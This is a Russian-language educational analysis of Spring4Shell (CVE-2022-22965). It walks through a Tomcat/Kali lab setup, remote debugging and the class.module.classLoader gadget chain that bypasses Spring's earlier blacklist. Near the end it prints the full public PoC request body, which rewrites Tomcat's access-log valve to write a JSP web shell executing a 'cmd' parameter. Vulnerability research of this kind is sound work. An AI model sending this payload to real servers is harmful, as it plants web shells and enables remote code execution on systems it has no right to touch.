
Углубленный технический анализ CVE-2022-22965 (Spring4Shell) с настройкой среды, пошаговым прохождением отладки и разбором цепочки эксплойта для образовательной лабораторной практики.
Spring4Shell — это название CVE, существующего в Spring Core фреймворка Spring Framework.
С оценкой CVSS 3.x 9.8 уязвимость классифицируется как имеющая наивысший уровень риска (critical). Эта уязвимость позволяет злоумышленнику удаленно выполнять эксплойт-код и контролировать уязвимый сервер.
Учитывая распространенность Spring Core в интернете и серьезность влияния Spring4Shell, эксперты оценивают эту уязвимость как не менее значительную, чем Log4shell.
Spring4Shell затрагивает не все веб-приложения, использующие Spring Framework в интернете, а требует, чтобы веб-приложение обладало следующими характеристиками:
Моя среда настройки имеет следующие параметры:
Установка Apache Tomcat
Как указано выше, я использую Kali 2021.4a и Apache Tomcat 9.0.45. Если вы не знаете, как установить Apache Tomcat, и хотите установить его на Kali Linux, можете обратиться к этой ссылке.
Примечание: Замените ссылку https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz на https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz
Выбор IDE
Нам нужна IDE для написания кода проекта, упаковки проекта в файл .war и, что очень важно, для отладки. Я использую Intellij, вы можете использовать Eclipse или Netbeans и т.д. Главное, чтобы IDE поддерживала Java.
Создание простого проекта, содержащего уязвимость
Мой проект очень простой, состоит из:
модели HelloWorld.java

контроллера HelloWorldController.java

представления hello.jsp

Сборка файла .war
Чтобы упаковать проект, выполните: Build -> Build Artifacts -> helloworld:war -> Build.
Дождитесь успешного завершения сборки. После этого в проекте появится папка out. Зайдите в ./out/artifacts/your_war_name/ и увидите файл your_war_name.war. Этот файл .war и есть скомпилированный и упакованный веб-проект, который можно развернуть на Java Servlet, таких как Apache Tomcat.
Если Build Artifacts неактивен (не удается выполнить Build Artifacts), значит, для этого проекта еще не настроены Build Artifacts. Зайдите: File -> Project Structure -> Artifacts -> Удалите все существующие artifacts -> Add (знак +) -> Web Application: Exploded -> From Modules... -> OK (завершение создания Exploded) -> Add (знак +) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK. Затем повторите Build Artifacts.
Развертывание и настройка отладки
Развертывание
Чтобы развернуть файл .war на Apache Tomcat, просто скопируйте его в папку /webapps внутри каталога Apache Tomcat (например, я копирую файл helloworld.war (переименовал для удобства) в /opt/tomcat/apache-tomcat-9.0.45/webapps/). Затем запустите сервер Tomcat одним из двух способов (для Linux):
После развертывания перейдите по адресу http://localhost:8080/helloworld
Настройка отладки
Чтобы настроить удаленную отладку Tomcat, выполните следующие действия:
На сервере:
Откройте файл catalina.sh и замените значение localhost на IP-адрес виртуальной машины в параметре JPDA_ADDRESS

Перезапустите сервер Tomcat командой: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. Теперь, помимо порта 8080 для HTTP-сервера, Tomcat откроет порт 8000 для подключения и отладки
Примечание: В данном разделе отладки я выполняю запуск Intellij на Windows 10, а Tomcat — на виртуальной машине Kali, поэтому необходимо изменить JDPA_ADDRESS. Если вы настраиваете и Intellij, и Tomcat на одной машине, изменять не нужно.
На стороне Intellij:
Перейдите в Run -> Edit Configurations... -> Add (знак +) -> Remote JVM Debug
Задайте имя -> измените Host и Port на IP и порт, которые вы указали в файле catalina.sh -> OK -> Shift + F9 (запуск отладки)

Сначала проанализирую проект, который использую для отладки. Как уже говорилось, этот проект состоит просто из:
Приведу пример:

Приложение извлекает информацию из параметров POST-запроса и создает объект helloWorld{"person":"Leo", "message":"Hi there"}. Этот объект helloWorld является входным параметром для метода helloPost. Приложение выполняет описанные выше действия, чтобы вернуть пользователю указанный ответ.
Процесс преобразования параметров из тела POST-запроса в объект helloWorld полностью автоматизирован Spring. Как это работает и проверяет ли Spring входные параметры?
Этот снимок сделан во время отладки. Пример выполнен с телом запроса "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (левая часть (стек вызовов) — (1), правая — (2)):

В (1) я выделил важные моменты (смотрим снизу вверх). Spring выполняет applyPropertyValue для объекта helloWorld из параметров POST-запроса. Если параметры просто вида person=Leo&message=Hi%20there, Spring сможет найти, что ключ 'person' соответствует helloWorld.person, а 'message' — helloWorld.message.
Но Spring также позволяет передавать объекты через HTTP-запрос (говорить "передать объект через HTTP" слишком громко, но суть такова). Предположим, что свойство person теперь не строка, а объект Person, который содержит два под-свойства: name (string) и age (int). Чтобы передать информацию об объекте Person на сервер, нужно отправить "person.name=Leo&person.age=23".
Таким образом, формат параметров становится A.B.C.D… = X, а не просто A=X. Для обработки формата A.B.C.D… = X, например, параметра A.B.C = X, Spring делает следующее: преобразует его в getA.getB.setC(X).
Я не буду объяснять, что такое getA, а просто приведу пример с телом запроса "person.name=Leo&person.age=23". Spring ищет в объекте helloWorld свойство person и метод getPerson. Если они есть, Spring вызывает helloWorld.getPerson(). Теперь Spring получает объект типа Person, назовем его person1. Затем Spring ищет в person1 свойство 'name' и метод setName (поскольку после 'name' стоит знак '='). Если они есть, Spring вызывает setName(Leo) для person1.
Для person.age Spring не начинает поиск с начала, а использует уже полученные ранее объекты — в данном случае helloWorld и person1.
После этих шагов на сервере будет объект helloWorld{person:{name:"Leo", age:23}} (временно опустим свойство message).
Как Spring находит свойства каждого объекта, например, свойство 'person' объекта helloWorld?
Обратите внимание на начало (1): есть функция CachedIntrospectionResults(beanClass), которая перечисляет свойства beanClass. В (2) видно, что когда beanClass = model.HelloWorld, возвращается 3 свойства. Между тем, созданная мной модель HelloWorld имеет только два свойства: 'person' и 'message'. Значит, функция вернула дополнительное свойство 'class', и если развернуть строку 'class', то тип свойства — 'java.lang.class'
Таким образом, мы можем воздействовать на объект class типа java.lang.classclass — это и есть источник (source) Spring4shell.
С этим источником связана предыдущая уязвимость CVE-2010-1622. Ее автор эксплуатировал этот источник с помощью payload class.classLoader.URLs[0] = X.
Поскольку в java.lang.class есть метод getClassLoader(), возвращающий объект ClassLoader, и этот ClassLoader может влиять на массив URLs Tomcat (используемый для загрузки ресурсов). Возможность воздействовать на URLs позволяет злоумышленнику изменить значение URLs[0] на URL-адрес для удаленного подключения к вредоносному JAR-файлу (контролируемому злоумышленником).
Для исправления этой ошибки Spring реализовал фильтрацию (черный список) в функции CachedIntrospectionResults(beanClass):

Если 'beanClass' == Class.class (java.lang.class), то pd должно отличаться от 'classLoader' и 'protectionDomain'. Доказательством служит то, что после загрузки всех свойств java.lang.class в CachedIntrospectionResults отсутствуют два свойства 'classLoader' и 'protectionDomain':

Однако, начиная с JDK 9, Class.class получил дополнительное свойство 'module', и в Class.module есть свойство classLoader:

→ Таким образом, использование JDK 9 и выше позволяет обойти черный список Spring!!!
Основываясь на публичном PoC уязвимости Spring4Shell, можно увидеть, что используемый payload имеет форму:
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
На основе отладки можно увидеть следующую цепочку gadget:
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.
Класс AccessLogValue имеет следующие свойства:

Мы можем вызвать объект AccessLogValue, и этот AccessLogValue влияет на запись логов Tomcat.
→ Мы можем создать файл на сервере, установив свойства объекта AccessLogValue на сервере Tomcat. Для этого в PoC они устанавливают свойства Prefix, Suffix, Pattern, Directory и fileDateFormat. Payload запроса будет следующим:
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Список точек останова
Для упрощения отладки вы можете установить точки останова в следующих местах:

В данном анализе заключения по сути нет; этот раздел добавлен просто для вида!!!
Если вы ищете способы устранения, то они здесь.